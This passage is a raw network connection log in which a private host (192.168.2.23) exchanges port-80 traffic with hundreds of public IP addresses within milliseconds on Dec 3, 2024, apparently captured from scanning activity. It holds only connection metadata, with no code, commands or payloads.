Dec 3, 2024 21:30:43.316514015 CET	80	59010	60.130.254.60	192.168.2.23
Dec 3, 2024 21:30:43.316523075 CET	80	59010	220.168.200.120	192.168.2.23
Dec 3, 2024 21:30:43.316534042 CET	59010	80	192.168.2.23	146.238.142.226
Dec 3, 2024 21:30:43.316534042 CET	59010	80	192.168.2.23	97.79.151.94
Dec 3, 2024 21:30:43.316534042 CET	59010	80	192.168.2.23	40.213.82.216
Dec 3, 2024 21:30:43.316535950 CET	80	59010	18.82.56.49	192.168.2.23
Dec 3, 2024 21:30:43.316556931 CET	80	59010	162.151.237.217	192.168.2.23
Dec 3, 2024 21:30:43.316559076 CET	59010	80	192.168.2.23	220.168.200.120
Dec 3, 2024 21:30:43.316564083 CET	59010	80	192.168.2.23	60.130.254.60
Dec 3, 2024 21:30:43.316567898 CET	80	59010	171.76.212.183	192.168.2.23
Dec 3, 2024 21:30:43.316577911 CET	59010	80	192.168.2.23	18.82.56.49
Dec 3, 2024 21:30:43.316579103 CET	80	59010	88.233.241.20	192.168.2.23
Dec 3, 2024 21:30:43.316590071 CET	80	59010	95.74.178.44	192.168.2.23
Dec 3, 2024 21:30:43.316601992 CET	59010	80	192.168.2.23	171.76.212.183
Dec 3, 2024 21:30:43.316602945 CET	59010	80	192.168.2.23	162.151.237.217
Dec 3, 2024 21:30:43.316608906 CET	80	59010	81.230.116.216	192.168.2.23
Dec 3, 2024 21:30:43.316616058 CET	59010	80	192.168.2.23	88.233.241.20
Dec 3, 2024 21:30:43.316617966 CET	80	59010	14.163.155.119	192.168.2.23
Dec 3, 2024 21:30:43.316628933 CET	59010	80	192.168.2.23	95.74.178.44
Dec 3, 2024 21:30:43.316637993 CET	80	59010	118.122.239.71	192.168.2.23
Dec 3, 2024 21:30:43.316643000 CET	59010	80	192.168.2.23	81.230.116.216
Dec 3, 2024 21:30:43.316657066 CET	80	59010	79.8.231.59	192.168.2.23
Dec 3, 2024 21:30:43.316658974 CET	59010	80	192.168.2.23	14.163.155.119
Dec 3, 2024 21:30:43.316667080 CET	80	59010	136.10.33.141	192.168.2.23
Dec 3, 2024 21:30:43.316674948 CET	80	59010	59.73.168.182	192.168.2.23
Dec 3, 2024 21:30:43.316680908 CET	59010	80	192.168.2.23	118.122.239.71
Dec 3, 2024 21:30:43.316684008 CET	80	59010	223.138.90.151	192.168.2.23
Dec 3, 2024 21:30:43.316693068 CET	80	59010	47.77.203.50	192.168.2.23
Dec 3, 2024 21:30:43.316695929 CET	59010	80	192.168.2.23	136.10.33.141
Dec 3, 2024 21:30:43.316695929 CET	59010	80	192.168.2.23	79.8.231.59
Dec 3, 2024 21:30:43.316704035 CET	59010	80	192.168.2.23	59.73.168.182
Dec 3, 2024 21:30:43.316713095 CET	80	59010	78.207.4.80	192.168.2.23
Dec 3, 2024 21:30:43.316715956 CET	59010	80	192.168.2.23	223.138.90.151
Dec 3, 2024 21:30:43.316721916 CET	80	59010	80.72.217.36	192.168.2.23
Dec 3, 2024 21:30:43.316731930 CET	80	59010	73.130.225.104	192.168.2.23
Dec 3, 2024 21:30:43.316736937 CET	59010	80	192.168.2.23	47.77.203.50
Dec 3, 2024 21:30:43.316740990 CET	80	59010	141.73.151.84	192.168.2.23
Dec 3, 2024 21:30:43.316756964 CET	59010	80	192.168.2.23	78.207.4.80
Dec 3, 2024 21:30:43.316759109 CET	80	59010	112.218.169.32	192.168.2.23
Dec 3, 2024 21:30:43.316767931 CET	59010	80	192.168.2.23	73.130.225.104
Dec 3, 2024 21:30:43.316770077 CET	80	59010	18.253.32.210	192.168.2.23
Dec 3, 2024 21:30:43.316771030 CET	59010	80	192.168.2.23	80.72.217.36
Dec 3, 2024 21:30:43.316775084 CET	59010	80	192.168.2.23	141.73.151.84
Dec 3, 2024 21:30:43.316781044 CET	80	59010	176.28.205.85	192.168.2.23
Dec 3, 2024 21:30:43.316792965 CET	80	59010	195.49.188.16	192.168.2.23
Dec 3, 2024 21:30:43.316793919 CET	59010	80	192.168.2.23	112.218.169.32
Dec 3, 2024 21:30:43.316797018 CET	59010	80	192.168.2.23	18.253.32.210
Dec 3, 2024 21:30:43.316802025 CET	80	59010	119.173.43.176	192.168.2.23
Dec 3, 2024 21:30:43.316816092 CET	59010	80	192.168.2.23	176.28.205.85
Dec 3, 2024 21:30:43.316839933 CET	59010	80	192.168.2.23	195.49.188.16
Dec 3, 2024 21:30:43.316839933 CET	59010	80	192.168.2.23	119.173.43.176
Dec 3, 2024 21:30:43.317553043 CET	80	59010	47.186.247.211	192.168.2.23
Dec 3, 2024 21:30:43.317564964 CET	80	59010	140.86.112.136	192.168.2.23
Dec 3, 2024 21:30:43.317574024 CET	80	59010	147.252.0.164	192.168.2.23
Dec 3, 2024 21:30:43.317593098 CET	59010	80	192.168.2.23	47.186.247.211
Dec 3, 2024 21:30:43.317598104 CET	59010	80	192.168.2.23	140.86.112.136
Dec 3, 2024 21:30:43.317612886 CET	80	59010	2.77.112.253	192.168.2.23
Dec 3, 2024 21:30:43.317616940 CET	59010	80	192.168.2.23	147.252.0.164
Dec 3, 2024 21:30:43.317631960 CET	80	59010	150.26.70.170	192.168.2.23
Dec 3, 2024 21:30:43.317641973 CET	80	59010	75.208.91.8	192.168.2.23
Dec 3, 2024 21:30:43.317651987 CET	59010	80	192.168.2.23	2.77.112.253
Dec 3, 2024 21:30:43.317672968 CET	59010	80	192.168.2.23	75.208.91.8
Dec 3, 2024 21:30:43.317672968 CET	59010	80	192.168.2.23	150.26.70.170
Dec 3, 2024 21:30:43.317809105 CET	80	59010	46.91.22.114	192.168.2.23
Dec 3, 2024 21:30:43.317817926 CET	80	59010	115.248.105.55	192.168.2.23
Dec 3, 2024 21:30:43.317826986 CET	80	59010	180.133.141.56	192.168.2.23
Dec 3, 2024 21:30:43.317836046 CET	80	59010	112.153.23.171	192.168.2.23
Dec 3, 2024 21:30:43.317843914 CET	80	59010	17.201.214.68	192.168.2.23
Dec 3, 2024 21:30:43.317853928 CET	80	59010	109.0.1.180	192.168.2.23
Dec 3, 2024 21:30:43.317858934 CET	59010	80	192.168.2.23	115.248.105.55
Dec 3, 2024 21:30:43.317862988 CET	59010	80	192.168.2.23	46.91.22.114
Dec 3, 2024 21:30:43.317868948 CET	59010	80	192.168.2.23	112.153.23.171
Dec 3, 2024 21:30:43.317868948 CET	59010	80	192.168.2.23	17.201.214.68
Dec 3, 2024 21:30:43.317868948 CET	59010	80	192.168.2.23	180.133.141.56
Dec 3, 2024 21:30:43.317872047 CET	80	59010	162.129.2.236	192.168.2.23
Dec 3, 2024 21:30:43.317887068 CET	80	59010	85.141.8.165	192.168.2.23
Dec 3, 2024 21:30:43.317898989 CET	59010	80	192.168.2.23	109.0.1.180
Dec 3, 2024 21:30:43.317903042 CET	59010	80	192.168.2.23	162.129.2.236
Dec 3, 2024 21:30:43.317912102 CET	80	59010	97.60.20.49	192.168.2.23
Dec 3, 2024 21:30:43.317920923 CET	80	59010	100.47.172.126	192.168.2.23
Dec 3, 2024 21:30:43.317929983 CET	80	59010	9.5.39.58	192.168.2.23
Dec 3, 2024 21:30:43.317934036 CET	80	59010	186.113.143.109	192.168.2.23
Dec 3, 2024 21:30:43.317939043 CET	59010	80	192.168.2.23	85.141.8.165
Dec 3, 2024 21:30:43.317941904 CET	80	59010	137.115.253.41	192.168.2.23
Dec 3, 2024 21:30:43.317956924 CET	59010	80	192.168.2.23	97.60.20.49
Dec 3, 2024 21:30:43.317962885 CET	59010	80	192.168.2.23	9.5.39.58
Dec 3, 2024 21:30:43.317969084 CET	59010	80	192.168.2.23	186.113.143.109
Dec 3, 2024 21:30:43.317972898 CET	59010	80	192.168.2.23	100.47.172.126
Dec 3, 2024 21:30:43.317975044 CET	59010	80	192.168.2.23	137.115.253.41
Dec 3, 2024 21:30:43.317977905 CET	80	59010	38.142.183.156	192.168.2.23
Dec 3, 2024 21:30:43.317989111 CET	80	59010	92.237.26.32	192.168.2.23
Dec 3, 2024 21:30:43.317996979 CET	80	59010	8.201.62.47	192.168.2.23
Dec 3, 2024 21:30:43.318006992 CET	80	59010	171.47.206.247	192.168.2.23
Dec 3, 2024 21:30:43.318017006 CET	59010	80	192.168.2.23	92.237.26.32
Dec 3, 2024 21:30:43.318021059 CET	59010	80	192.168.2.23	38.142.183.156
Dec 3, 2024 21:30:43.318030119 CET	59010	80	192.168.2.23	8.201.62.47
Dec 3, 2024 21:30:43.318044901 CET	59010	80	192.168.2.23	171.47.206.247
Dec 3, 2024 21:30:43.318047047 CET	80	59010	1.206.183.59	192.168.2.23
Dec 3, 2024 21:30:43.318058014 CET	80	59010	76.163.81.40	192.168.2.23
Dec 3, 2024 21:30:43.318065882 CET	80	59010	23.229.70.142	192.168.2.23
Dec 3, 2024 21:30:43.318074942 CET	80	59010	143.193.83.220	192.168.2.23
Dec 3, 2024 21:30:43.318083048 CET	80	59010	101.35.144.218	192.168.2.23
Dec 3, 2024 21:30:43.318085909 CET	59010	80	192.168.2.23	76.163.81.40
Dec 3, 2024 21:30:43.318094969 CET	59010	80	192.168.2.23	1.206.183.59
Dec 3, 2024 21:30:43.318097115 CET	59010	80	192.168.2.23	143.193.83.220
Dec 3, 2024 21:30:43.318100929 CET	59010	80	192.168.2.23	23.229.70.142
Dec 3, 2024 21:30:43.318104982 CET	59010	80	192.168.2.23	101.35.144.218
Dec 3, 2024 21:30:43.318643093 CET	80	59010	164.100.1.138	192.168.2.23
Dec 3, 2024 21:30:43.318661928 CET	80	59010	87.209.154.192	192.168.2.23
Dec 3, 2024 21:30:43.318671942 CET	80	59010	70.164.23.253	192.168.2.23
Dec 3, 2024 21:30:43.318681955 CET	80	59010	147.14.50.181	192.168.2.23
Dec 3, 2024 21:30:43.318681955 CET	59010	80	192.168.2.23	164.100.1.138
Dec 3, 2024 21:30:43.318705082 CET	80	59010	138.211.15.58	192.168.2.23
Dec 3, 2024 21:30:43.318713903 CET	59010	80	192.168.2.23	87.209.154.192
Dec 3, 2024 21:30:43.318713903 CET	59010	80	192.168.2.23	70.164.23.253
Dec 3, 2024 21:30:43.318717957 CET	80	59010	122.18.70.31	192.168.2.23
Dec 3, 2024 21:30:43.318726063 CET	59010	80	192.168.2.23	147.14.50.181
Dec 3, 2024 21:30:43.318727970 CET	80	59010	120.128.214.168	192.168.2.23
Dec 3, 2024 21:30:43.318746090 CET	59010	80	192.168.2.23	138.211.15.58
Dec 3, 2024 21:30:43.318753958 CET	80	59010	35.75.72.243	192.168.2.23
Dec 3, 2024 21:30:43.318763018 CET	80	59010	157.94.136.15	192.168.2.23
Dec 3, 2024 21:30:43.318767071 CET	59010	80	192.168.2.23	120.128.214.168
Dec 3, 2024 21:30:43.318768978 CET	59010	80	192.168.2.23	122.18.70.31
Dec 3, 2024 21:30:43.318778992 CET	80	59010	66.247.226.94	192.168.2.23
Dec 3, 2024 21:30:43.318794966 CET	59010	80	192.168.2.23	157.94.136.15
Dec 3, 2024 21:30:43.318799019 CET	59010	80	192.168.2.23	35.75.72.243
Dec 3, 2024 21:30:43.318823099 CET	59010	80	192.168.2.23	66.247.226.94
Dec 3, 2024 21:30:43.318851948 CET	80	59010	167.144.193.14	192.168.2.23
Dec 3, 2024 21:30:43.318861961 CET	80	59010	106.254.136.124	192.168.2.23
Dec 3, 2024 21:30:43.318871021 CET	80	59010	12.181.18.186	192.168.2.23
Dec 3, 2024 21:30:43.318887949 CET	80	59010	197.195.156.119	192.168.2.23
Dec 3, 2024 21:30:43.318896055 CET	59010	80	192.168.2.23	106.254.136.124
Dec 3, 2024 21:30:43.318897009 CET	59010	80	192.168.2.23	167.144.193.14
Dec 3, 2024 21:30:43.318901062 CET	59010	80	192.168.2.23	12.181.18.186
Dec 3, 2024 21:30:43.318906069 CET	80	59010	109.25.162.5	192.168.2.23
Dec 3, 2024 21:30:43.318914890 CET	80	59010	74.128.200.241	192.168.2.23
Dec 3, 2024 21:30:43.318924904 CET	80	59010	181.12.149.129	192.168.2.23
Dec 3, 2024 21:30:43.318932056 CET	59010	80	192.168.2.23	197.195.156.119
Dec 3, 2024 21:30:43.318933964 CET	80	59010	156.85.136.251	192.168.2.23
Dec 3, 2024 21:30:43.318948030 CET	80	59010	88.81.37.14	192.168.2.23
Dec 3, 2024 21:30:43.318954945 CET	59010	80	192.168.2.23	74.128.200.241
Dec 3, 2024 21:30:43.318958044 CET	59010	80	192.168.2.23	109.25.162.5
Dec 3, 2024 21:30:43.318963051 CET	80	59010	207.103.109.237	192.168.2.23
Dec 3, 2024 21:30:43.318964005 CET	59010	80	192.168.2.23	181.12.149.129
Dec 3, 2024 21:30:43.318974018 CET	80	59010	129.255.48.160	192.168.2.23
Dec 3, 2024 21:30:43.318978071 CET	59010	80	192.168.2.23	156.85.136.251
Dec 3, 2024 21:30:43.318979025 CET	59010	80	192.168.2.23	88.81.37.14
Dec 3, 2024 21:30:43.318999052 CET	80	59010	109.134.37.245	192.168.2.23
Dec 3, 2024 21:30:43.319005013 CET	59010	80	192.168.2.23	207.103.109.237
Dec 3, 2024 21:30:43.319011927 CET	59010	80	192.168.2.23	129.255.48.160
Dec 3, 2024 21:30:43.319042921 CET	59010	80	192.168.2.23	109.134.37.245
Dec 3, 2024 21:30:43.319062948 CET	80	59010	160.170.161.136	192.168.2.23
Dec 3, 2024 21:30:43.319076061 CET	80	59010	152.70.77.164	192.168.2.23
Dec 3, 2024 21:30:43.319086075 CET	80	59010	163.16.172.218	192.168.2.23
Dec 3, 2024 21:30:43.319096088 CET	80	59010	119.17.173.115	192.168.2.23
Dec 3, 2024 21:30:43.319106102 CET	80	59010	72.32.33.2	192.168.2.23
Dec 3, 2024 21:30:43.319108963 CET	59010	80	192.168.2.23	152.70.77.164
Dec 3, 2024 21:30:43.319113016 CET	59010	80	192.168.2.23	160.170.161.136
Dec 3, 2024 21:30:43.319124937 CET	59010	80	192.168.2.23	119.17.173.115
Dec 3, 2024 21:30:43.319129944 CET	59010	80	192.168.2.23	163.16.172.218
Dec 3, 2024 21:30:43.319133997 CET	59010	80	192.168.2.23	72.32.33.2
Dec 3, 2024 21:30:43.319322109 CET	80	59010	149.40.85.33	192.168.2.23
Dec 3, 2024 21:30:43.319365978 CET	59010	80	192.168.2.23	149.40.85.33
Dec 3, 2024 21:30:43.319973946 CET	80	59010	87.19.149.131	192.168.2.23
Dec 3, 2024 21:30:43.319983959 CET	80	59010	54.117.27.116	192.168.2.23
Dec 3, 2024 21:30:43.320005894 CET	80	59010	148.81.95.214	192.168.2.23
Dec 3, 2024 21:30:43.320014954 CET	80	59010	116.182.131.17	192.168.2.23
Dec 3, 2024 21:30:43.320017099 CET	59010	80	192.168.2.23	87.19.149.131
Dec 3, 2024 21:30:43.320023060 CET	80	59010	145.134.166.91	192.168.2.23
Dec 3, 2024 21:30:43.320038080 CET	59010	80	192.168.2.23	148.81.95.214
Dec 3, 2024 21:30:43.320038080 CET	59010	80	192.168.2.23	54.117.27.116
Dec 3, 2024 21:30:43.320049047 CET	59010	80	192.168.2.23	116.182.131.17
Dec 3, 2024 21:30:43.320055962 CET	59010	80	192.168.2.23	145.134.166.91
Dec 3, 2024 21:30:43.320122004 CET	80	59010	221.237.202.7	192.168.2.23
Dec 3, 2024 21:30:43.320142984 CET	80	59010	189.10.230.133	192.168.2.23
Dec 3, 2024 21:30:43.320164919 CET	59010	80	192.168.2.23	221.237.202.7
Dec 3, 2024 21:30:43.320182085 CET	59010	80	192.168.2.23	189.10.230.133
Dec 3, 2024 21:30:43.320188046 CET	80	59010	202.243.213.132	192.168.2.23
Dec 3, 2024 21:30:43.320198059 CET	80	59010	179.117.197.69	192.168.2.23
Dec 3, 2024 21:30:43.320249081 CET	80	59010	188.155.110.245	192.168.2.23
Dec 3, 2024 21:30:43.320254087 CET	59010	80	192.168.2.23	179.117.197.69
Dec 3, 2024 21:30:43.320255995 CET	59010	80	192.168.2.23	202.243.213.132
Dec 3, 2024 21:30:43.320264101 CET	80	59010	25.63.73.224	192.168.2.23
Dec 3, 2024 21:30:43.320272923 CET	80	59010	79.210.75.195	192.168.2.23
Dec 3, 2024 21:30:43.320291042 CET	59010	80	192.168.2.23	188.155.110.245
Dec 3, 2024 21:30:43.320295095 CET	80	59010	104.31.37.227	192.168.2.23
Dec 3, 2024 21:30:43.320306063 CET	59010	80	192.168.2.23	25.63.73.224
Dec 3, 2024 21:30:43.320323944 CET	59010	80	192.168.2.23	79.210.75.195
Dec 3, 2024 21:30:43.320337057 CET	59010	80	192.168.2.23	104.31.37.227
Dec 3, 2024 21:30:43.320352077 CET	80	59010	193.44.229.197	192.168.2.23
Dec 3, 2024 21:30:43.320362091 CET	80	59010	151.82.151.243	192.168.2.23
Dec 3, 2024 21:30:43.320370913 CET	80	59010	169.134.121.98	192.168.2.23
Dec 3, 2024 21:30:43.320391893 CET	59010	80	192.168.2.23	151.82.151.243
Dec 3, 2024 21:30:43.320394993 CET	59010	80	192.168.2.23	193.44.229.197
Dec 3, 2024 21:30:43.320396900 CET	80	59010	79.195.66.21	192.168.2.23
Dec 3, 2024 21:30:43.320401907 CET	59010	80	192.168.2.23	169.134.121.98
Dec 3, 2024 21:30:43.320415974 CET	80	59010	31.5.211.112	192.168.2.23
Dec 3, 2024 21:30:43.320425987 CET	80	59010	47.152.168.166	192.168.2.23
Dec 3, 2024 21:30:43.320439100 CET	59010	80	192.168.2.23	79.195.66.21
Dec 3, 2024 21:30:43.320445061 CET	80	59010	46.118.190.247	192.168.2.23
Dec 3, 2024 21:30:43.320455074 CET	80	59010	202.252.115.215	192.168.2.23
Dec 3, 2024 21:30:43.320457935 CET	59010	80	192.168.2.23	31.5.211.112
Dec 3, 2024 21:30:43.320463896 CET	80	59010	99.247.20.167	192.168.2.23
Dec 3, 2024 21:30:43.320468903 CET	59010	80	192.168.2.23	47.152.168.166
Dec 3, 2024 21:30:43.320477009 CET	80	59010	80.184.190.198	192.168.2.23
Dec 3, 2024 21:30:43.320488930 CET	59010	80	192.168.2.23	202.252.115.215
Dec 3, 2024 21:30:43.320489883 CET	80	59010	37.51.224.161	192.168.2.23
Dec 3, 2024 21:30:43.320493937 CET	59010	80	192.168.2.23	99.247.20.167
Dec 3, 2024 21:30:43.320496082 CET	59010	80	192.168.2.23	46.118.190.247
Dec 3, 2024 21:30:43.320513964 CET	59010	80	192.168.2.23	80.184.190.198
Dec 3, 2024 21:30:43.320514917 CET	80	59010	25.45.80.84	192.168.2.23
Dec 3, 2024 21:30:43.320514917 CET	59010	80	192.168.2.23	37.51.224.161
Dec 3, 2024 21:30:43.320525885 CET	80	59010	191.239.209.189	192.168.2.23
Dec 3, 2024 21:30:43.320534945 CET	80	59010	147.160.45.159	192.168.2.23
Dec 3, 2024 21:30:43.320553064 CET	59010	80	192.168.2.23	25.45.80.84
Dec 3, 2024 21:30:43.320559978 CET	59010	80	192.168.2.23	191.239.209.189
Dec 3, 2024 21:30:43.320559978 CET	59010	80	192.168.2.23	147.160.45.159
Dec 3, 2024 21:30:43.321166039 CET	80	59010	177.231.147.244	192.168.2.23
Dec 3, 2024 21:30:43.321206093 CET	59010	80	192.168.2.23	177.231.147.244
Dec 3, 2024 21:30:43.321217060 CET	80	59010	119.125.71.17	192.168.2.23
Dec 3, 2024 21:30:43.321232080 CET	80	59010	125.67.162.44	192.168.2.23
Dec 3, 2024 21:30:43.321242094 CET	80	59010	18.198.219.140	192.168.2.23
Dec 3, 2024 21:30:43.321257114 CET	59010	80	192.168.2.23	119.125.71.17
Dec 3, 2024 21:30:43.321260929 CET	80	59010	61.130.122.249	192.168.2.23
Dec 3, 2024 21:30:43.321265936 CET	59010	80	192.168.2.23	125.67.162.44
Dec 3, 2024 21:30:43.321266890 CET	59010	80	192.168.2.23	18.198.219.140
Dec 3, 2024 21:30:43.321270943 CET	80	59010	12.43.30.128	192.168.2.23
Dec 3, 2024 21:30:43.321283102 CET	80	59010	160.140.228.224	192.168.2.23
Dec 3, 2024 21:30:43.321302891 CET	59010	80	192.168.2.23	12.43.30.128
Dec 3, 2024 21:30:43.321312904 CET	59010	80	192.168.2.23	61.130.122.249
Dec 3, 2024 21:30:43.321315050 CET	59010	80	192.168.2.23	160.140.228.224
Dec 3, 2024 21:30:43.321361065 CET	80	59010	49.148.24.253	192.168.2.23
Dec 3, 2024 21:30:43.321372032 CET	80	59010	74.59.6.128	192.168.2.23
Dec 3, 2024 21:30:43.321379900 CET	80	59010	135.90.47.117	192.168.2.23
Dec 3, 2024 21:30:43.321399927 CET	59010	80	192.168.2.23	49.148.24.253
Dec 3, 2024 21:30:43.321403980 CET	59010	80	192.168.2.23	74.59.6.128
Dec 3, 2024 21:30:43.321408987 CET	80	59010	104.1.3.73	192.168.2.23
Dec 3, 2024 21:30:43.321419001 CET	80	59010	157.208.98.153	192.168.2.23
Dec 3, 2024 21:30:43.321424961 CET	59010	80	192.168.2.23	135.90.47.117
Dec 3, 2024 21:30:43.321428061 CET	80	59010	180.61.174.69	192.168.2.23
Dec 3, 2024 21:30:43.321450949 CET	59010	80	192.168.2.23	104.1.3.73
Dec 3, 2024 21:30:43.321464062 CET	59010	80	192.168.2.23	180.61.174.69
Dec 3, 2024 21:30:43.321465015 CET	59010	80	192.168.2.23	157.208.98.153
Dec 3, 2024 21:30:43.321479082 CET	80	59010	63.199.237.222	192.168.2.23
Dec 3, 2024 21:30:43.321513891 CET	59010	80	192.168.2.23	63.199.237.222
Dec 3, 2024 21:30:43.321547985 CET	80	59010	132.69.55.117	192.168.2.23
Dec 3, 2024 21:30:43.321557999 CET	80	59010	64.250.59.180	192.168.2.23
Dec 3, 2024 21:30:43.321568012 CET	80	59010	44.235.118.62	192.168.2.23
Dec 3, 2024 21:30:43.321583986 CET	59010	80	192.168.2.23	64.250.59.180
Dec 3, 2024 21:30:43.321588993 CET	59010	80	192.168.2.23	132.69.55.117
Dec 3, 2024 21:30:43.321599960 CET	59010	80	192.168.2.23	44.235.118.62
Dec 3, 2024 21:30:43.321630955 CET	80	59010	145.127.217.169	192.168.2.23
Dec 3, 2024 21:30:43.321640968 CET	80	59010	47.121.103.197	192.168.2.23
Dec 3, 2024 21:30:43.321660042 CET	80	59010	181.50.72.37	192.168.2.23
Dec 3, 2024 21:30:43.321671963 CET	80	59010	160.218.230.94	192.168.2.23
Dec 3, 2024 21:30:43.321674109 CET	59010	80	192.168.2.23	145.127.217.169
Dec 3, 2024 21:30:43.321675062 CET	59010	80	192.168.2.23	47.121.103.197
Dec 3, 2024 21:30:43.321681023 CET	80	59010	154.224.94.113	192.168.2.23
Dec 3, 2024 21:30:43.321691036 CET	80	59010	97.36.193.190	192.168.2.23
Dec 3, 2024 21:30:43.321698904 CET	59010	80	192.168.2.23	181.50.72.37
Dec 3, 2024 21:30:43.321710110 CET	59010	80	192.168.2.23	160.218.230.94
Dec 3, 2024 21:30:43.321721077 CET	80	59010	79.182.178.2	192.168.2.23
Dec 3, 2024 21:30:43.321723938 CET	59010	80	192.168.2.23	97.36.193.190
Dec 3, 2024 21:30:43.321726084 CET	59010	80	192.168.2.23	154.224.94.113
Dec 3, 2024 21:30:43.321729898 CET	80	59010	158.21.135.97	192.168.2.23
Dec 3, 2024 21:30:43.321733952 CET	80	59010	181.152.75.12	192.168.2.23
Dec 3, 2024 21:30:43.321738005 CET	80	59010	195.66.119.48	192.168.2.23
Dec 3, 2024 21:30:43.321753979 CET	80	59010	117.26.181.255	192.168.2.23
Dec 3, 2024 21:30:43.321791887 CET	59010	80	192.168.2.23	79.182.178.2
Dec 3, 2024 21:30:43.321796894 CET	59010	80	192.168.2.23	181.152.75.12
Dec 3, 2024 21:30:43.321801901 CET	59010	80	192.168.2.23	158.21.135.97
Dec 3, 2024 21:30:43.321803093 CET	59010	80	192.168.2.23	195.66.119.48
Dec 3, 2024 21:30:43.321805954 CET	59010	80	192.168.2.23	117.26.181.255
Dec 3, 2024 21:30:43.322468996 CET	80	59010	175.29.215.92	192.168.2.23
Dec 3, 2024 21:30:43.322482109 CET	80	59010	112.13.178.36	192.168.2.23
Dec 3, 2024 21:30:43.322496891 CET	80	59010	2.59.128.247	192.168.2.23
Dec 3, 2024 21:30:43.322514057 CET	59010	80	192.168.2.23	112.13.178.36
Dec 3, 2024 21:30:43.322514057 CET	80	59010	125.176.189.46	192.168.2.23
Dec 3, 2024 21:30:43.322516918 CET	59010	80	192.168.2.23	175.29.215.92
Dec 3, 2024 21:30:43.322524071 CET	80	59010	152.202.152.56	192.168.2.23
Dec 3, 2024 21:30:43.322532892 CET	80	59010	67.215.88.157	192.168.2.23
Dec 3, 2024 21:30:43.322544098 CET	59010	80	192.168.2.23	125.176.189.46
Dec 3, 2024 21:30:43.322544098 CET	59010	80	192.168.2.23	2.59.128.247
Dec 3, 2024 21:30:43.322556973 CET	80	59010	85.242.219.26	192.168.2.23
Dec 3, 2024 21:30:43.322567940 CET	59010	80	192.168.2.23	152.202.152.56
Dec 3, 2024 21:30:43.322572947 CET	59010	80	192.168.2.23	67.215.88.157
Dec 3, 2024 21:30:43.322592974 CET	59010	80	192.168.2.23	85.242.219.26
Dec 3, 2024 21:30:43.322678089 CET	80	59010	143.98.18.16	192.168.2.23
Dec 3, 2024 21:30:43.322686911 CET	80	59010	65.220.212.230	192.168.2.23
Dec 3, 2024 21:30:43.322695971 CET	80	59010	101.172.216.116	192.168.2.23
Dec 3, 2024 21:30:43.322721004 CET	59010	80	192.168.2.23	143.98.18.16
Dec 3, 2024 21:30:43.322721004 CET	59010	80	192.168.2.23	65.220.212.230
Dec 3, 2024 21:30:43.322726011 CET	59010	80	192.168.2.23	101.172.216.116
Dec 3, 2024 21:30:43.322752953 CET	80	59010	138.176.74.209	192.168.2.23
Dec 3, 2024 21:30:43.322763920 CET	80	59010	64.215.119.122	192.168.2.23
Dec 3, 2024 21:30:43.322782040 CET	80	59010	185.38.173.109	192.168.2.23
Dec 3, 2024 21:30:43.322793007 CET	80	59010	79.137.21.190	192.168.2.23
Dec 3, 2024 21:30:43.322797060 CET	59010	80	192.168.2.23	138.176.74.209
Dec 3, 2024 21:30:43.322797060 CET	59010	80	192.168.2.23	64.215.119.122
Dec 3, 2024 21:30:43.322802067 CET	80	59010	81.59.176.52	192.168.2.23
Dec 3, 2024 21:30:43.322819948 CET	59010	80	192.168.2.23	185.38.173.109
Dec 3, 2024 21:30:43.322829008 CET	59010	80	192.168.2.23	79.137.21.190
Dec 3, 2024 21:30:43.322843075 CET	80	59010	185.125.236.89	192.168.2.23
Dec 3, 2024 21:30:43.322844982 CET	59010	80	192.168.2.23	81.59.176.52
Dec 3, 2024 21:30:43.322879076 CET	59010	80	192.168.2.23	185.125.236.89
Dec 3, 2024 21:30:43.322906971 CET	80	59010	112.85.112.75	192.168.2.23
Dec 3, 2024 21:30:43.322916985 CET	80	59010	193.67.199.0	192.168.2.23
Dec 3, 2024 21:30:43.322952986 CET	59010	80	192.168.2.23	193.67.199.0
Dec 3, 2024 21:30:43.322954893 CET	80	59010	64.73.92.129	192.168.2.23
Dec 3, 2024 21:30:43.322961092 CET	59010	80	192.168.2.23	112.85.112.75
Dec 3, 2024 21:30:43.322968960 CET	80	59010	162.29.180.116	192.168.2.23
Dec 3, 2024 21:30:43.322978020 CET	80	59010	8.199.105.51	192.168.2.23
Dec 3, 2024 21:30:43.322992086 CET	59010	80	192.168.2.23	162.29.180.116
Dec 3, 2024 21:30:43.322993994 CET	59010	80	192.168.2.23	64.73.92.129
Dec 3, 2024 21:30:43.323003054 CET	80	59010	53.82.229.144	192.168.2.23
Dec 3, 2024 21:30:43.323014975 CET	80	59010	221.85.148.46	192.168.2.23
Dec 3, 2024 21:30:43.323015928 CET	59010	80	192.168.2.23	8.199.105.51
Dec 3, 2024 21:30:43.323024035 CET	80	59010	201.100.236.89	192.168.2.23
Dec 3, 2024 21:30:43.323045015 CET	59010	80	192.168.2.23	53.82.229.144
Dec 3, 2024 21:30:43.323048115 CET	59010	80	192.168.2.23	201.100.236.89
Dec 3, 2024 21:30:43.323052883 CET	59010	80	192.168.2.23	221.85.148.46
Dec 3, 2024 21:30:43.323082924 CET	80	59010	176.126.130.66	192.168.2.23
Dec 3, 2024 21:30:43.323097944 CET	80	59010	153.132.74.229	192.168.2.23
Dec 3, 2024 21:30:43.323107958 CET	80	59010	173.40.198.100	192.168.2.23
Dec 3, 2024 21:30:43.323127985 CET	59010	80	192.168.2.23	176.126.130.66
Dec 3, 2024 21:30:43.323136091 CET	59010	80	192.168.2.23	173.40.198.100
Dec 3, 2024 21:30:43.323142052 CET	59010	80	192.168.2.23	153.132.74.229
Dec 3, 2024 21:30:43.323477030 CET	80	59010	165.121.137.184	192.168.2.23
Dec 3, 2024 21:30:43.323518991 CET	59010	80	192.168.2.23	165.121.137.184
Dec 3, 2024 21:30:43.324229956 CET	80	59010	81.166.108.57	192.168.2.23
Dec 3, 2024 21:30:43.324278116 CET	59010	80	192.168.2.23	81.166.108.57
Dec 3, 2024 21:30:43.324280977 CET	80	59010	158.6.162.146	192.168.2.23
Dec 3, 2024 21:30:43.324292898 CET	80	59010	18.170.228.113	192.168.2.23
Dec 3, 2024 21:30:43.324307919 CET	80	59010	51.106.115.217	192.168.2.23
Dec 3, 2024 21:30:43.324328899 CET	59010	80	192.168.2.23	158.6.162.146
Dec 3, 2024 21:30:43.324331045 CET	80	59010	209.156.95.132	192.168.2.23
Dec 3, 2024 21:30:43.324341059 CET	59010	80	192.168.2.23	51.106.115.217
Dec 3, 2024 21:30:43.324342966 CET	59010	80	192.168.2.23	18.170.228.113
Dec 3, 2024 21:30:43.324350119 CET	80	59010	164.75.8.233	192.168.2.23
Dec 3, 2024 21:30:43.324368000 CET	80	59010	25.229.59.163	192.168.2.23
